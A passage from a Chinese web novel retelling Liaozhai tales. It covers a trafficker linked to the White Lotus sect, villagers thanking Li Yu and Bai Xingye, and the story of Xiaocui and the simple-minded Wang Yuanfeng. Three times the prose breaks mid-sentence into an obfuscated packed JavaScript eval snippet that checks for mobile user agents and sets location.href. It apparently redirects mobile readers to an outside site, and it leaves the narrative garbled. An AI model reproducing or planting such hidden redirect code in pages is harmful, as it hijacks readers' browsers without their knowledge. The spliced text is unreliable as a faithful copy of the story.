犯人哭丧着脸说:“是,是!大人,俄错了,俄猪狗不如,求大人网开一面,饶小人一命啊……”说着便哭嚎了起来,涕泗横流的样子更令人生厌,他还有脸哭? 惊堂木声又起,丁知县振声道:“再敢咆哮公堂,水火棍伺候!” 犯人瞬时噤声,不敢再哭叫。 丁知县沉吟片刻说:“听闻山西前些日子出了一桩奇怪的命案。” 犯人抖动的身体忽然一滞,随即颤抖得更厉害了。 “有一杨姓富人颇精通术法,以妖法惑众,不少人向其拜师学艺。他有一个徒弟与其爱妾私通,这人知道却引而不发,一日他叫那徒弟去喂猪,可到了猪圈这徒弟却不知为何变成了猪!被那人操刀杀了,割肉卖了去。” 众人听得心惊肉跳,听到人变猪的事,才知道丁知县为何突然提起别的案子。 “此事被这徒弟的同门告知了他父亲,其父痛失爱子上告官府,这姓杨的却已携家潜逃了,他的那些徒弟们也遣散了。”丁知县顿了顿,似乎在观察堂下犯人的神色,“刚才就发现你的口音是山西那边的。我问你,你与这被通缉的白莲教余孽杨弘方是何关系?这造畜之法,是不是从他那里学来的?!” 满座哗然,原来这妖法和白莲教有关! 丁知县话音一落,那犯人就将头磕得砰砰作响,“大人明鉴,小人虽曾拜杨弘方为师,可俄就是个无足轻重的小喽啰,是学了一招半式,可小人绝不是白莲教中人啊!更无反叛朝廷之心,只是靠这点小本事赚点钱罢了……” 李钰简直惊了,没想到这个人贩子居然还和历史上横行几个朝代,被镇压多次都没能彻底铲灭的白莲教有关。 丁知县道:“此事涉及白莲教,其他人等先行退下。受害众人由张头儿派人通知他们家人来接。 一名衙役领命道:“是,大人。” 李钰再想听更多也不行只得退下,丁再昌也一道与他出了衙门。正好遇到白行野来到县衙门口,那位张姑娘也在他身旁,看起来并未受多少罪,随一个衙役领着去和同乡姐妹们相见了。 “果然够快。”李钰和丁再昌都赞道。 白行野微微扬头,道:“说半个时辰就是半个时辰。” 李钰将公堂上大致情况跟白行野讲了下,又拽了拽丁再昌还想再聊案子,刚要开口,丁再昌就阻止道:“还是去你家客栈说吧。” 李钰只得暂时闭嘴了。 三人回到客栈,才走到门口就被对面茶楼的伙计叫住了。 那伙计提着一筐梨,说:“少东家,有个小贩送来一筐梨,说是感谢你的。” 李钰一愣,看着那一筐个大饱满水灵灵的果子,忽然想起了应当是之前那个梨贩,他还真送梨来了? 李钰从筐里挑了三个,给他和白行野、丁再昌一人分了一个,又对伙计说:“剩下的你们和客栈的伙计们都分了吧。” 伙计喜滋滋地答应,分梨去了。 丁再昌拿着梨道:“是之前那个梨贩吧,当初所有人都说他太吝啬,没想到送了这么大一筐梨来,而且一看就是精心挑的。” 李钰听了这话,拿出手帕将梨擦干净,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101337|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日遇到了拐卖妇女儿童的恶心事,正是让人没胃口的时候。他大口咬下一口梨肉,汁水饱满、润进心肺,不禁赞道:“好甜!” 回到客栈的房间,三人围桌坐下。 难得这次白行野率先开口问道:“那个白莲教是什么东西?” 李钰和丁再昌都颇为意外地看向他,不说白莲教由来已久,以其教众覆盖广度来讲,也不至于没听说过吧。大概真是从小在深山里长大,因此才不知道这些。 丁再昌耐心解释道:“这是一个很复杂的民间教会,最早可以追溯到南宋时期。此教杂糅了众教,各地还发展出多个融合进了当地民间信仰的派系。因为入教门槛低,又善用民间信仰和互助共济等说辞,吸引了许多人加入其中。不过,这些底层的教徒都只是那些所谓的香主、坛主、教主的敛财工具罢了。各个朝代都有明令禁止,可是总是前赴后继无法彻底铲灭,总有百姓受其蛊惑,以至于延续至今。” “迷信真是一种可怕的力量。”作为曾经的唯物主义者李钰如此感慨道。 “没错,”丁再昌继续说,“不过本朝最是严厉打击白莲教的,白莲教及其发展出来的其他小教派,一经查证都是重罪,轻者杖刑流放,重者绞刑斩首。正是因此,现在很少见到白莲教教徒们在明面上活动了,都是偷偷地进行地下活动,没想到还真就被你们遇上了。” 李钰和白行野对视一眼,对啊,这谁能想到?还是对方自己送上门来的。 “刚刚在公堂上,我爹讲的那个案子也不是什么秘密,杨弘方的通缉令都在城门口张贴着呢,不过我想你们一定没有看过。” 李钰和白行野果然摇摇头,李钰只知道聊斋世界中有魑魅魍魉、狐妖女鬼,还真忽略了这个世界也有作奸犯科之人,甚至这类人中有的还会不输鬼妖的术法,真是个危机四伏的世界。 丁再昌咬了一口梨润润嗓子,又说:“山西的那个杨弘方在被发现之前,都以为不过是一个阔绰的小财主,人机灵会些戏法取乐而已,谁知道他暗地里聚集教众。我听我爹说,他不只会造畜,就如点石成金、撒豆成兵、将木头变成战马也是可以做到的。教徒们信服他同时也畏惧他,若不是他对心腹徒弟下手,手段还那般残忍,这才被人告发了,恐怕还能再隐藏下去,谁知道日后能发展出怎样的势力?” 李钰当然也知道些许关于白莲教的历史,但是诸如像点石成金、撒豆成兵之术……他一向觉得这应当是民众愚昧被一些戏法蒙骗。于是便问白行野:“难道还真有这样的术法吗?” “听起来更像是幻术,你忘了那种梨的假道士了?”白行野晃了晃手中的梨。 得到了白行野的验证,李钰放下心来,要是这类术法是真的能变来变去的,岂不是要天下大乱了! 白行野却又说道:“不过之前害你性命的那个妖僧,倒是真的会些巫蛊之术。” 提及此事,李钰便问:“你们说那妖僧和种梨人,会不会也与白莲教有什么关系?” 明明在室内,丁再昌仍旧压低声音道:“师兄果然敏锐!其实之前那个妖僧的案子报了上去,上面也有这个怀疑,如今已押到刑部去了。” “我以为他早就被斩首了!”没想到还真有关联。 “他手里面可是有人命官司的,斩首的结局是注定的。只是不知道他这妖术究竟从何学来的,若真与白莲教有关,那这邪教比我们想的就更可怕了。” 如此阴毒的邪法和变化多端的骗人幻术,白行野听得也是频频皱眉,道:“人族之邪异不下于鬼妖。” 李钰眉毛一扬,笑道:“什么人族不人族,好像你不是人似的,真当自己已修成真仙了?” 白行野笑笑,并不多言。 14. 登门谢 因李钰这一打岔,气氛好了不少,丁再昌道:“好在今日这事被你们俩遇上了,可是救了不少人呢。” 李钰不好意思地说:“也不只我俩的功劳,店里的伙计和掌柜先发现的,何况也少不了你如此信任我呢。” 丁再昌却没搭理李钰的商业互吹,而是说:“其实你不找我,直接去报官也是一样的,山西那事一出,涉及到书符咒术一类的,都是官府重点关注对象。以后再有这种事直接去报官,衙役定来拿人!” “那还是可别再有这种事了!”李钰忙摆手道。 起初李钰总觉得这里的人对妖术邪法、鬼狐之说的接受度都非常之高,有一种见怪不怪的违和感。原来除了因为这里本就是聊斋中的世界,还因为民间有这么一群宣扬邪术、暗地作乱之人,也难怪民众会是如此反应。 丁再昌觉得李钰的反应好笑,安慰说:“好在白道长是真正的修行之人,能护你周全。你这也太倒霉了,这些流窜的江湖术士,怎么老围着你打转?” 李钰心想,谁说不是呢?怎么感觉撞鬼的概率,还不如撞上这些邪门歪道的人多?或许他真的是太不熟悉聊斋的故事了,总是带有刻板印象地认为讲的都是些书生女鬼、狐妖青年的风流之事,没想到其实还有这么多人性险恶在其中。 “行了,反正后续丁知县会处理好的,幸得本县有这么一位父母官,虽说这些害人的东西四处流窜,但有他在多少总是让人安心一点。” 李钰这话可算是真的说到丁再昌心坎上了,他向来以父亲为荣,暗自以父亲为目标,哪怕只是知县这样芝麻大的小官,但能实实在在地护卫一方百姓,那也是无上的荣耀了。 于是这一次丁再昌也不谦虚,欣然接受了李钰对父亲的夸赞。 这个话题最终被白行野打断了,今日也辛苦了的白道长想要用膳了。 李钰大方地摆了一桌酒席,犒劳自己和两个好兄弟。他发现只要白行野和丁再昌同时在,总是要吃下好多东西,也不知道是不是两个吃货都吃得香,彼此形成了一种互相鼓励的机制。 李钰暗自发笑,但也不点破。 今日之事很快就传到李化耳中,亲自来了一趟客栈把儿子和他的朋友给接回家,哪怕是两人今天才立了大功一件,犯人也已经收监,李老爷仍只觉得这里怎么越来越不太平了?还是把儿子放在眼皮子底下,才能安心一点。 白行野在哪儿都一样,也不挑剔,只有李钰苦着脸求着他爹,让他娘别再天天送补品汤药了,吃不消啊,身体都要补过头了。 “你这孩子,一点儿都不知道好歹的。”李化如此教训儿子,但最终也点头答应下来。 李钰这才开开心心地回了家,可到家的第二天,他就没能睡上懒觉。 一大早就听得外面锣鼓喧天、人声鼎沸,将李钰从睡梦中惊醒。他用被子裹住脑袋也抵挡不住那些嘈杂的声音,直往耳朵里面钻呀。 李钰从床上翻了起来,大声问外面,“这怎么回事啊?一大早的吵什么呀吵!” “你可快起来吧,来了好大一群人呢!挑着十几担礼物,都用红布包着,跟来提亲了一样。”詹贵儿接话道,也不知道他什么时候出现在李钰房间的。 已经习惯了詹贵儿神出鬼没的李钰,听到提亲两个字吓了一大跳。还好此时门外的小厮阿福叫他了,“少爷,你起来了吗?昨日那些被拐卖的人家特意来送礼感谢你和白道长了!老爷让我来叫你呢。” “知道了!” 李钰瞪詹贵儿,“什么提不提亲,以后看清楚了再说好吧?大早上的非得吓人!” 詹贵儿实在不懂提亲两个字有什么好吓人的? 李钰又问:“白行野起了吗?” “道长哥哥早就起了,现在已经在门口帮阿翁招呼客人呢。”詹贵儿不屑道。 李钰更急了,连忙起床更衣,叫阿福打水洗脸。等他跑出院落,正好被赶来叫他的木若菱逮个正着。 木大娘子也久未见过这样的阵仗,劈头盖脸就给了儿子肩膀一巴掌,斥道:“那么多父老乡亲都是来见你的,你还睡!你父亲在前厅呢,幸亏有白道长一起帮着应付。” 她那巴掌一点没用力,李钰陪笑着说:“我这不就来了吗?娘别恼,我就去。” 急匆匆赶到前厅,里里外外乌泱泱地挤满了人,前厅外的空地上还摆满了詹贵儿所说的一担担礼物。 李钰一到,也不知谁叫了一声,“李少爷来了!” 顿时众人都喊了起来。 “小人多谢李少爷、白道长救了我家犬子。” “我家小儿的性命也是李少爷和白道长救的。” “小女也全靠二位相救,我们一家才不至于骨肉分离啊!” 李钰看向白行野,对方显然不适应这样的场景,脸上带着僵硬的微笑,全靠李老爷一边拱手一边说着“这是应当做的”云云。 场面颇为滑稽,李钰忙上前对诸位父老乡亲们道:“都是乡里乡亲的,遇到这等事情理应出手相助。我们也没做什么,还得仰赖知县大人将那恶徒收监。” 一位老者道:“哎呀,李少爷过谦了,小女已将您和白道长所作所为尽数告知,若非您二位出手,恐怕还会再生变数。大家都感激不尽,特备薄礼,还请二位不要嫌弃,恳请笑纳才是。” 其他人也纷纷附和。 李钰见众人都是布衣百姓还有农户,哪好意思收礼,拱手道:“诸位的心意我和白道长心领了,只是这些东西你们拿回去吧,我们所做有限,实在受之有愧。” “不过是一些自家地里种的,您二位要是这都不收,我们才真是无颜见人了!” 那些人说到这种地步,李钰确实也不好再拒绝了,打眼看了一下,也只是一些田里的瓜果粮食和自家养的鸡鸭,便欣然领受了。 李化在一旁看着自家孩儿,如今不但做好事救了人,应付这些人情世故也进退有度,老怀甚慰地点点头。 李老爷一高兴,就要留这几十号人吃酒席,可众人本就是来送礼,哪好意思留下吃饭,听他这样提,留下礼物便纷纷告辞了。 李钰和白行野可算是松了一口气,木若菱走过来,看着满院的谢礼笑道:“我们珠儿如今真是长进,不但是学有所成,还能救世济民。你们看看这乡民们送来的瓜果蔬菜多新鲜,还有这鸡养得多肥!这儿还有米酒呢,定是他们自己酿的。”木大娘子如数家珍,“怎么觉得这比我们自家田里长出来的还好?” 李化立刻道:“确实如此,这和自家田里种出来的可大不一样!这可是珠儿他们自己挣回来的,吃这些瓜果肉干,喝着这米酒那都脸上有光。” 木若菱见老爷这样说,便道:“那今天便用这些送来的做一桌好菜吧。” 李化眼睛一亮,“好主意好主意,让我也享受一下儿子的光荣成果。” 说完,李化转向看热闹的白行野,亲切地拉着他的手道:“白道长啊白道长,你可真是我们李家的福星啊!自从你来了以后,珠儿不但上进了,还学得这仁善之心,这就叫近朱者赤。有你做他的至交好友,真是他小子三生有幸!” 白行野一愣,求救般看向李钰,对方则是一脸坏笑地看着他尴尬的处境。无奈,他也只得学着近来见过的人那样说些客套话,“非也,李钰也教了我许多,他本性纯善是他骨子里的优点,并非我所影响。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101338|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李化更是笑得开怀,这骨子里的优点不就相当于将他和娘子也夸了一遍吗?怎能不让人开心?而且从平日寡言少语的白道长口中说出,更显得真诚了! “哈哈哈哈哈好好,今日我定要和白道长开怀畅饮!”说罢,便吩咐下人去好好准备。 后来的一段时日,父老乡亲们送来的瓜果蔬菜、鸡鸭鱼肉日日在李家的饭桌上出现,完美地完成了它们的使命。 而经过茶会雅集和客栈救人事件,李家少爷李钰和白行野道长彻底在城里扬名了,不少人通过丁再昌想要与他们结交,丁再昌都不堪其扰,且不提白行野,李钰却是来者不拒。一方面是因为对于他来讲,这可都是些新鲜人新鲜事,另一方面毕竟自家是做生意的,人脉多一些自然是好的。 因为李钰的关系,这些新结交的友人们都愿意卖他一个人情,常常聚会地点都选在结庐茶楼或广源客栈。 这天一行人又在广源客栈吃喝,席间一个叫吴志才的书生说到一个新鲜事。 “你们听说了吗?那在京里当官的王家最近回来了,听说是被罢官了。” 李钰八卦魂燃烧,问道:“哪个王家?” “就那个王文翰王老爷,以前在我们这儿还做过县令。”王彦又冲其他几人道,“他家也有个傻儿子你们还记得吗?以前和李公子并称本城“二傻”……” 白行野将酒杯往桌上一磕,发出不大不小的声响。 席方平忙道:“说什么胡话呢!吴兄喝多了酒,李贤弟勿怪。” 吴志才自知失言,端起酒杯赔笑道:“哎呀,你看我这嘴!李公子早已今非昔比,这杯酒我自罚。”说着将酒一饮而尽。 李钰毫不在意地摆摆手,继续吃瓜:“这王老爷为什么被罢官?” “朝中之事具体的我也不知道,你还不如问王兄,还是他们家远房亲戚呢。”说着冲席间一个年龄大些的公子哥努努嘴。 那人叫王彦,他抹了抹嘴才说:“只听我们本家亲戚说是被他死对头弹劾的,他那死对头也姓王,真是相煎何太急。” 李钰心里却在想,我还想问聊斋里的姓王的怎么这么多?还好我穿到姓李的身上,还不算书生,若是姓王,保不准又是哪个易见鬼体质的王生。 “不过啊,那傻子……呃,就小时候我们见过的那个王元丰,听说都成亲了!” 在座众人半数都是成了婚的,这古人结婚都早,但听到傻子也能早早娶到媳妇这事,还是啧啧称奇。可见这王元丰曾经在众人心中是怎样的形象,恐怕确实和当初的李珠儿不相上下。 只听那王彦又说出一件更惊人的事,“只不过啊,他那小媳妇跑了,一家子在京城找了两年,至今都没找回来呢!” “怎么回事儿?” “他媳妇本是个乡下姑娘,在王家恐怕是受了气,说是大吵了一架跑出来的。”王彦将道听途说来的消息奉上。 “嫁给一个傻子谁乐意?换我呃……我也跑。”吴志才此时已经有些醉醺醺了,打着嗝说道。 席方平嫌弃地推了他一把,示意他闭嘴。 这些人喝得上头,说起话来也没有了一点文人的顾忌,聊人家家长里短的样子哪有平日装得那般正经。 丁再昌面色不虞,低声道:“说这些作甚?学那搬弄口舌的行径有何用?” 鄂秋隼见气氛不对,忙打圆场换了话题。 李钰知道丁再昌是听他们说傻子不好,怕冒犯了自己,可李钰一点都不在乎,他还想再继续听听八卦。因为他当然知道这王元丰是谁!姓王的京官之子,是个傻子,还是个娶上媳妇的傻子!这个熟悉的设定,不就是《小翠》的故事吗? 15. 翠丰往事(一) 可爱伶俐、古灵精怪的小翠可是他小时候看书时难得留下印象的女主!也不知道真正的小翠是什么样的? 李钰正胡思乱想着,忽然注意到白行野的脸色不怎么好看,想来还在因为别人提傻子的事情生闷气。李钰在桌下用膝盖碰了碰白行野的大腿,白行野转头看他,就见李钰冲他露出一个大大的笑容,白行野的表情再也僵不下去,也冲他笑了笑。 而另一边,罢官回乡的王文翰的旧宅中。 王夫人正指挥着丫鬟小厮们,如何摆放那些带回家的金银器物。她捧起一个青花瓷瓶,看着这花瓶,又想起了她那令人操心的儿媳,小翠。 “也不知道小翠如今怎么样了,在外面过得好不好?”王夫人叹了口气。 说起她这个儿媳,初次见面还是在五年前。那时候元丰也到了该娶妻的年龄,可她儿是个傻子,就算老爷从知县做到了太常,也没有正经人家的女儿愿意嫁给他。儿子这样的情况,王文翰也舍不下老脸去替儿子求娶好人家的姑娘,他的婚姻大事就此成了老两口的一块心病。 可事情忽然就出现了转机,一位姓虞的农妇带着她的女儿登门拜访,直言家里穷愿意将女儿嫁给他们元丰。 那姑娘虽是农家女,但漂亮得跟个天仙似的,年龄也合适,笑起来的样子格外惹人喜欢,王夫人一看就觉得这定是个贴心的孩子。 这名女子,自然就是小翠。 可小翠的母亲却有些奇怪,当日就让小翠留在王家借住,称自家还有事,几日后再来接女儿,可这一去就再也没有回来。王家夫妇俩问小翠,小翠竟也说不清自家到底住哪。 老两口也不是没有怀疑过对方的目的,但想着自家儿子的终身大事,还是让小翠留下来,不日就让二人完婚了。 起初周围的街坊邻居还笑他们官宦人家娶了个穷人家的女儿,可他们是不知道自己家这个情况,要找个小翠这般品貌的媳妇得有多难? 日子长了,王夫人就发现小翠人生的貌美不说,还特别伶俐,像自家女儿一样称呼老两口“爹、娘”,日日陪着元丰玩,丝毫没有嫌弃元丰傻。可就是人无完人,或许是家里太穷了,生计都艰难,她那娘亲也未曾教导过她什么叫做三从四德,行事便总有些放肆,从来都是想做什么做什么,不太像样。 这不,王文翰今日刚下值回家,就怒气冲冲地捂着额头走进屋,也不知道那两个小祖宗又闯了什么祸? “这又是怎么了?捂着额头干嘛?”王夫人问道。 王老爷指着额头上红的发亮的大包说:“你看看你看看!这个小翠带着元丰在正院踢球,一脚过来也不知道使了多大劲,给我砸了这么大个包!这让我明日如何去见那些同僚们?” 王夫人忍着笑说:“何必生这么大气,他们又不是故意的。我让丫鬟煮个鸡蛋来给你滚几圈就好了。” “怎么不是故意的!东院不够他们胡闹的?非得闹到我们这边来!砸了我还溜得挺快,带着两个丫鬟转身就跑了,只留下个傻元丰在那,骂他都听不懂!”王文翰连珠炮般的抱怨。 “定是觉得这边前院地方大,小翠就是孩子心性,除了比你儿子聪明点,其他的也差不多。”王夫人依旧耐心劝道。 王文翰叹了口气,“毕竟是个女儿家,一点女儿家的样子都没有,何况都是人妇了!这你真得多教教她,以前我们元丰傻是傻,也没现在这么调皮捣蛋的。” “好好好,我晚点去找她说说。”王夫人应承下来,心里也打鼓,也不是没说过,可那孩子不也一样不听话。 晚些时候,王夫人依言来了东院,这会儿小两口都没有在院子玩了,迎面来了个丫鬟过来行礼,“夫人来了。” “他们俩呢?” “在屋里玩呢,说是……要唱个什么戏?” 王夫人眉头一皱,这又闹哪一出?走到屋前敲了敲门,只听得门内一阵叮咚作响。过了好一会儿,门才开了。 “你们又在,啊——!”王夫人刚要训人,抬眼一看魂差点儿吓没! 一张毛绒绒的大花脸冲着王夫人面门就迎上来,吓得她倒退了两步,直接跌坐在赶来扶她的婆子身上。 “哎呀!娘倒了,娘倒了!狗也跳,猫也跳,跳来跳去滚作堆!”大花脸的元丰围着他娘又蹦又跳,边转边唱着童谣。 王夫人定睛一看,这大花脸原来是自己儿子!脸上也不知道是拿什么画的又红又黑的花纹,下半张脸还粘着一圈黑色的……好像是马毛? 小翠也紧跟着出来,眼皮上涂了个大红眼圈,头上插满了珠钗,满头金光闪闪的,极其伤眼! 王夫人这下终于是体会到王老爷今天被砸脑门的愤怒了,她气得手都在抖,指着两人道:“你你你们这是要翻天啊!” 小翠整了整她头上一根要掉了的金钗,脸上还挂着笑,开心道:“娘,这可不是大闹天宫,我们扮的虞姬和霸王呢!你看看,好看吗?” 王夫人狼狈地从地上爬了起来,怒斥道:“什么大闹天宫、虞姬霸王的!谁准你们在家里弄这些下九流的玩意儿的,你们是要气死我啊?” 元丰看到他娘真生气了,不敢多说什么躲到小翠身后去了,小翠却嘻嘻一笑,显然没有听进去。 “你今日玩球踢了你父亲就跑,他现在额头上还有一个大包呢!现在又把元丰折腾成这个样子,这脸上的东西洗得掉吗?” 小翠选择性的回话,“洗得掉,我们之前都弄过。” 王夫人见她油盐不进,努力收起激动的表情,沉着脸进屋里坐下,就要让两人跪下受训。王元丰早就习惯了,说跪就跪也不觉得丢人,可小翠哪管这些?反而去拿茶碗喝起水来。 “哎呀,画这妆面花了我好一番功夫呢,我都渴了。” “砰” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101339|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一声传来,小两口都吓了一跳看向王夫人,王夫人拍桌子拍得手疼,张嘴就训斥道:“你如今胆子越发的大了,是不是觉得我们平日由着你,你就可以在这家里肆无忌惮了?” 小翠眨眨眼疑惑地问道:“我做什么了?不过就是和元丰一起玩,又没害人,甚至都没出门,在自己家里玩也这么多规矩。” “你还抱怨上了!是不是得用上家法,你才会听话!”王夫人更生气了。 “家法是什么东西?我知道国有国法,怎么自己家里玩也犯法吗?这家法是谁规定的?若不遵守要去坐牢吗?犯了家法要在哪里坐牢?”小翠好奇地提了一连串问题,元丰根本没听懂,只跟着在旁边装作思考似的不断点头。 王夫人觉得小翠是故意来气她的,但她那一副理所当然的天真模样,似乎又并非有意,反而透着求知欲渴的期待。更把王夫人气得又站了起来,原地打着转,可算让她看到“虞姬”自刎的“剑”——一根削的光洁无比的木棍。 她举起小木棍就要打,对上小翠无辜的眼睛,王夫人哪里下得去手?于是更为恼怒地一棍抽在了一旁的元丰身上。 元丰挨了打立刻就哭闹了起来,这一哭王夫人更气了,又用力抽了两下。 小翠霎时变了脸色,也跪了下来求道:“娘不要打元丰,都是我要玩的,你要怪就怪我吧,不要再打了!” 王夫人睨了小翠一眼,见小翠连连认错这才收了手,将小木棍随手一扔,厉声道:“我们王家已经对你足够宽容了,你要陪元丰玩可以,以后玩什么都不许出了这个院子。出了这东院,你就得有少夫人的样子,别整天这般疯疯癫癫的,你做得到吗?” 小翠跪在地上,心疼地搂着元丰掉眼泪,元丰也缩在小翠怀里嚎啕大哭,不敢看娘亲。好一对苦命的小鸳鸯,像是受了莫大的委屈! 王夫人看了头疼,催着问:“你听到了吗?!” 小翠点了点头,小声地说:“知道了。” 王夫人松了口气,吩咐一旁的婆子一会儿拿药酒给儿子擦擦,便匆匆走了,看久了闹心。希望这一次教训能有点效果吧,至少持续久一点,让他们多消停一段时间。 结果才第二天,这俩人又是追追打打地玩游戏踢球,又是都画得跟花脸猫一样,头上插着长长的野鸡毛唱大戏。倒是没出东院,每天就听他们那边叮叮当当的没个消停,老两口这下拿他们没有办法了,只得整日装聋作哑,没真闯祸就不管他们。 日子就这么一天天过着,王老爷最近很烦恼,觉得自己家宅不宁不说,官场上又正值三年一次的考核,他的死对头王给谏随时准备抓他的错处弹劾他。 心烦意乱之下的王老爷,仗着儿子儿媳一个傻一个疯,也听不懂官场的事,偶尔在家里抱怨一下。 谁曾想那素日里疯疯癫癫的儿媳居然真给听进去了!还自作主张闯出了大祸! 16. 翠丰往事(二) 一日入夜,门房忽然来报,说是尚书大人来了。王文翰连衣服都来不及换,便要出门相迎,只见尚书大人牵着一匹秃尾巴马,已经大摇大摆地进来了,身后还跟了两个小吏。 王文翰心下不安,这大晚上的尚书大人怎么来访,还穿着官服?来不及多想,立刻就要上前行礼,腰刚弯下去就听到“尚书大人”银铃般的笑声。 “爹,是我。” 王文翰一愣,猛地抬起头来,从眼前那白绒绒的胡子中间,分辨出一张秀丽的脸庞。 “你你你……你是小翠?!” “是我呀,看来我扮尚书大人很像嘛,爹都没认出来。”小翠捋了捋“胡子”,肚子一挺作出大腹便便的样子。 王文翰怒道:“你怎么敢假扮朝廷命官?不要命啊!怎么还跑出去了,有没有其他人看到?” “大晚上的街上都没有什么人。”小翠毫不在意地说,不等王文翰的心落下来,话锋又一转,“我就去那王给谏家门口晃了一圈,他们家人见了我就来迎,我就说‘我找错了,我要找的是王御史可不是什么王给谏’。” “你说什么?!” 小翠还在边笑边说:“完事后我拍马便走,你是没看见那家人的表情,笑死我了,他们真信了……” 她话还未尽,只见王文翰两眼一翻直接晕了过去,好在被管家和门子双双扶住,但人已经软在地上,口里喃喃着:“完了完了……” 这下小翠可闯大祸了,假扮朝廷官员还扮到自己死对头门口去了,居然就这么大大咧咧地回家来了,这不是给王给谏递刀子嘛! “这下子真没救了……” 王老爷病了,王夫人听说了来龙去脉,将小翠做的那些胡子衣裳收罗了出来,直接一把火烧了去,惹得小翠和元丰又是好一通闹。 王夫人气急败坏地训斥小翠,可小翠呢?丝毫不见悔改之意!当下简直就要生出休了这个只会惹祸的儿媳的想法,可她连个家都没有,亲娘也不知道去哪儿了,真休了她从此以后真就无家可归了。 正不知如何是好,元丰还在小翠身边跪着,口里不住地求:“不要罚小翠,不要罚小翠……” 王夫人头痛欲裂,挥挥手让小两口回去了,但也叫人将东院门锁了,给两个人都关了禁闭,每日只让下人进出送饭。 王老爷称病了几天,但该面对的还是要面对,带着恹恹的病态就上值去了。 果然怕什么来什么,那平日里对他没个好脸色的王给谏,今日倒是主动来跟他搭话了。 “王御史最近告了病假,如今可好些了?” 王文翰也不知他是讽刺还是试探,只简单“嗯”了一声算作回应。 王给谏却并不见被冷待的尴尬,反而压低声音道:“听说前几日尚书大人去您府上议事了?” 王文翰心想难道你不知道吗?还问什么问!不就是想羞辱我吗?给了他一个眼神便不再理他。 反留下王给谏一脸的惶恐。 奇怪的是自从这一次以后,王给谏竟然没再针对他过,反而态度越来越和善,时不时跟王文翰示个好。 王老爷这时候才看出了门道,原来这王给谏真把小翠当成尚书大人了!而今尚书大人风头正盛,他以为自己和尚书大人交好,甚至深夜上门议事,因此王给谏才不再继续针对自己,反而频频示好。 如此没了王给谏使绊子,过了不久王文翰竟升官了,如今已是王太常了。竟让小翠给歪打正着了!王文翰也不好意思再关着小翠,而且俩孩子就算被关了禁闭也乐得自在,两个人相互陪伴下,一如往常般在自家院里玩闹。 很快便过去了三年,小翠的肚子却无半点动静,老两口都急这件事。王夫人遣东院的下人来一问,这才知道这俩人居然是分床而眠,还是小翠睡床上,王元丰睡在小榻上。王夫人又气小翠蛮横又气儿子不争气,家里又是一通闹。此事还未平息,小翠又闯了祸了。 王夫人正愁子嗣问题,就听东院的丫鬟来报:“夫人,出事了!出大事了!” 王夫人现在最怕见东院的丫鬟婆子,就怕又听到小翠和元丰又搞出什么名堂。她修剪花枝的手一顿,将剪刀放下。 “又怎么了?” 丫鬟往地上重重一跪,一看事情就不小。王夫人立刻催她,“快说啊,到底怎么回事?” 丫鬟浑身颤抖,面如死灰哆哆嗦嗦地说:“少夫人,少夫人她把元丰少爷闷死了!” 只这一句话,王夫人如坠冰窖,不敢相信自己听到了什么,反应过来后立刻往东院去,一边往外走一边跟丫鬟反复确认。 “元丰少爷要少夫人教他在水里憋气,钻进了装了热水的大澡盆里,少爷嫌太闷热要出来,少夫人就拿被子将他压在澡盆里不让他出来……只过了一小会儿就没动静了,掀开被子再看,少爷已经没气了!”丫鬟边说边哭,显然也被吓着了。 闻言,王夫人脚步更急,她要亲眼看到自己的儿子,怎么会有这么荒唐之事? 到了东院,王元丰已经被小厮抬了出来,放到了床上。只见他浑身湿淋淋的,任由王夫人如何摇晃叫喊他都没有任何反应,这才嚎啕哭了起来。 小翠站在一旁还笑嘻嘻的,周围的丫鬟小厮看少夫人的眼神此时已经变了。都道王家一个傻儿子一个疯丫头,那傻儿子是真的傻,这疯丫头也是真的疯的厉害,害了人命还是自己夫君的命,居然还在笑! 王夫人此次是真的动怒了,手颤巍巍地指向小翠,又悲又怒地痛斥:“你个疯丫头,居然将我儿子害死了!你到底有没有心?元丰日日黏着你,眼里都快没有爹娘了,只有你!你居然还这般害他,连他的命也要索了去!” 小翠歪着头问:“不是你们嫌弃元丰是个傻子吗?既然不喜欢这傻儿子,那就算没了对你们也没有什么损失呀。” 王夫人噎住了,她不敢相信小翠居然能说出这样的话,如此凉薄。伤透了心的王夫人惨叫一声就要扑过去抓住小翠拼命,小翠左躲右闪,让她扑了几次空。 正闹着,床上忽然传来一阵急促的咳嗽,如一道惊雷震住了在场的所有人。 只见王元丰悠悠睁开眼,看到涕泗横流的娘亲和笑意盈盈的小翠守在床边,过往记忆一一从眼前划过,似梦非梦,千言万语涌上心头,终化作一句感慨,“昨日种种,恍如一梦。” 那神情、那语气哪有半点痴傻的模样? 至此,傻子王元丰,消失了。 